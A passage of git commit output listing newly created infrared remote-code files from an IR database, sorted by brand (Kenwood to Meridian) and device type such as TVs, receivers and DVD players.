assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/DVR/45,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Plasma/1,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/TV/1,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/TV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LXI/TV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linn/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linn/Classic music/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/144,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Loewe/VCR/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Luxman/CD Player/204,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Luxman/Receiver/204,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/TV/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,24.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir create mode 